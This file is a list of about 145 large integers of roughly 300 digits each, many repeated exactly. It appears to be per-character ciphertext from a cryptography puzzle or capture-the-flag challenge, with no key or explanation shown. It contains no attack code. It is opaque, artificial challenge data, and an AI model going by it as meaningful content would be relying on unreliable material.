100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
93193845131988228644484899443386837473017866469422349255542037992094227046793693881682979131489608844822784059542911823214294551190035941959174418494660058831653040650832634034284220560765526772070524776041227316124183428503723250186862064463249419845278441607117428255167936507102806898566227917772967961794
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
32933462248099324694327714854607255032888140819022694368672519148506024411096257106781039052578133225871743021579804335299184595073928429176068027273213846074189864333797840406109399274402427368164966455793896279820729846051338417622377046084187929438342676988739660679068202885342464147540133208191563957581
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
133821342606580454431636853618778967721010373114197662891508991682540483266007458846375983314130300445587911282877335750480805649394086463664645319161836413638247650471886879354773317635394640518080390290425806187120049212041979879176975293329368437530104798819774108474920635359521954718055320835228865103287
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
110846033891671427624857387537920448516392773897412999620646679750794626560907602986926959004781159264720122262321222811739313451983025907615882694007854707426003258465438618709429793385929912943788331348275371930738505303613153300384889406550278867097351842118941408769499935966795054196563209575850432039213
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
110846033891671427624857387537920448516392773897412999620646679750794626560907602986926959004781159264720122262321222811739313451983025907615882694007854707426003258465438618709429793385929912943788331348275371930738505303613153300384889406550278867097351842118941408769499935966795054196563209575850432039213
93193845131988228644484899443386837473017866469422349255542037992094227046793693881682979131489608844822784059542911823214294551190035941959174418494660058831653040650832634034284220560765526772070524776041227316124183428503723250186862064463249419845278441607117428255167936507102806898566227917772967961794
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
29631002453818443878087533679342206377351959222732320458571978628527415368263558741184612260499910890083041496720816188927715520474524644366008264619744447554913990749781059359429267900431389553237355631002718487754198278327669699849011019217114272056692212573430143535745702039987362023342513435350646270794
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
133821342606580454431636853618778967721010373114197662891508991682540483266007458846375983314130300445587911282877335750480805649394086463664645319161836413638247650471886879354773317635394640518080390290425806187120049212041979879176975293329368437530104798819774108474920635359521954718055320835228865103287
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
138504217624596902362289248023750193206278313077744762612380974425195684786696483255920922318110882519620690755082747573763922994183605386510042112847948839477457190613123147113573167427107086885633353030688410647606787518657346593385419505447724465985148789527995407044347909134264168329970476145197124278339
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
133821342606580454431636853618778967721010373114197662891508991682540483266007458846375983314130300445587911282877335750480805649394086463664645319161836413638247650471886879354773317635394640518080390290425806187120049212041979879176975293329368437530104798819774108474920635359521954718055320835228865103287
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
98072193152871319688837688940847690007375497449437127180342057154848195391486477028582072505559234392497094299334775763771056865590909378050094703548344101458162032536500439758037446538333860663336228719703447923766109850133438244955538517197400462445959770460870119876325281725458020065942886331789259035983
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
133821342606580454431636853618778967721010373114197662891508991682540483266007458846375983314130300445587911282877335750480805649394086463664645319161836413638247650471886879354773317635394640518080390290425806187120049212041979879176975293329368437530104798819774108474920635359521954718055320835228865103287
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
91680348915962244635467280702269071962770849234751203908734508507942563330754312317275898786442433413770569887551943099443991331261278291587321076702444424684302121767202425952384762689618469717236791027569005894172183324909306235069613007499705735183698684035052271555030322776650321910241652531845417895375
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
63954934982169968493375436708243549943337776790067035042049945803263896137705048991307667148505224485994939878827810471672893639994173854628637995888833872725682539891708902345134444873401804816245621659122305520079093134983775134753014016200774920370979508498502550221686538836022420428948530476432469293840
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
62801529337830164688667725322013807337730829995283145726245637501724225331664768835038305986060768494873211708381922699272515864262971627208174943851264077906254570161389679470403844058900863238814911592475705518546485028952389529393704650759569972808052161826493176719258661840108823546364212066123810996235
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
133821342606580454431636853618778967721010373114197662891508991682540483266007458846375983314130300445587911282877335750480805649394086463664645319161836413638247650471886879354773317635394640518080390290425806187120049212041979879176975293329368437530104798819774108474920635359521954718055320835228865103287
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
